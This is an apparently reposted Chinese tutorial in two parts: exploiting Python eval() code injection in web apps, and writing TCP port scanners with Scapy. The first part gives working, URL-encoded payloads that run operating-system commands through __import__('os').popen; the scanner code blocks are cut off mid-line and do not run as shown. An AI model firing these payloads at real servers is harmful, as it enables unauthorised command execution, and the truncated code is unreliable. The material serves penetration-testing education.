1.如何使用python查找网站漏洞
如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。
这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。
在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。 因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。
实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容: 1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用 假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示: eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了: eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示: eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。
具体代码如下所示: __import__('os').popen('COMMAND').read() 为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示: param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。
在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器 为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。
接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一**立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。
相关操作指令如下所示: git clone /sethsec/PyCodeInjection.gitcd VulnApp ./install_requirements.sh python PyCodeInjectionApp.py 漏洞分析 当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞: 1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码: \ 大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。
除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。 不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。
而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec。
2.如何用Scapy写一个端口扫描器
常见的端口扫描类型有:1. TCP 连接扫描2. TCP SYN 扫描(也称为半开放扫描或stealth扫描)3. TCP 圣诞树(Xmas Tree)扫描4. TCP FIN 扫描5. TCP 空扫描(Null)6. TCP ACK 扫描7. TCP 窗口扫描8. UDP 扫描下面先讲解每种扫描的原理,随后提供具体实现代码。
TCP 连接扫描客户端与服务器建立 TCP 连接要进行一次三次握手,如果进行了一次成功的三次握手,则说明端口开放。客户端想要连接服务器80端口时,会先发送一个带有 SYN 标识和端口号的 TCP 数据包给服务器(本例中为80端口)。
如果端口是开放的,则服务器会接受这个连接并返回一个带有 SYN 和 ACK 标识的数据包给客户端。随后客户端会返回带有 ACK 和 RST 标识的数据包,此时客户端与服务器建立了连接。
如果完成一次三次握手,那么服务器上对应的端口肯定就是开放的。当客户端发送一个带有 SYN 标识和端口号的 TCP 数据包给服务器后,如果服务器端返回一个带 RST 标识的数据包,则说明端口处于关闭状态。
代码:#! /usr/bin/pythonimport logginglogging.getLogger("scapy.runtime").setLevel(logging.ERROR)from scapy.all import *dst_ip = "10.0.0.1"src_port = RandShort()dst_port=80tcp_connect_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)if(str(type(tcp_connect_scan_resp))=="
但是,这时客户端不会返回 RST+ACK 而是返回一个只带有 RST 标识的数据包。这种技术主要用于躲避防火墙的检测。
如果目标端口处于关闭状态,那么同之前一样,服务器会返回一个 RST 数据包。代码:#! /usr/bin/pythonimport logginglogging.getLogger("scapy.runtime").setLevel(logging.ERROR)from scapy.all import *dst_ip = "10.0.0.1"src_port = RandShort()dst_port=80stealth_scan_resp = sr1(IP(dst=dst_ip)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)if(str(type(stealth_scan_resp))=="
如果目标端口是开放的,那么不会有任何来自服务器的回应。如果服务器返回了一个带有 RST 标识的 TCP 数据包,那么说明端口处于关闭状态。
但如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 状态码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定是否处于开放状态。代码:#! /usr/bin/pythonimport logginglogging.getLogger("scapy.runtime").setLevel(logging.ERROR)from scapy.all import *dst_ip = "10.0.0.1"src_port = RandShort()dst_port=80xmas_scan_resp = sr1(IP(dst=dst_ip)/TCP(dport=dst_port,flags="FPU"),timeout=10)if (str(type(xmas_scan_resp))=="
如果没有服务器端回应则说明端口开放。如果服务器返回一个 RST 数据包,则说明目标端口是关闭的。
如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 代码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定端口状态。代码:#! /usr/bin/pythonimport logginglogging.getLogger("scapy.runtime").setLevel(logging.ERROR)from scapy.all import *dst_ip = "10.0.0.1"src_port = RandShort()dst_port=80fin_scan_resp = sr1(IP(dst=ds。
转载请注明出处育才学习网 » 怎么用python写一个漏洞扫描器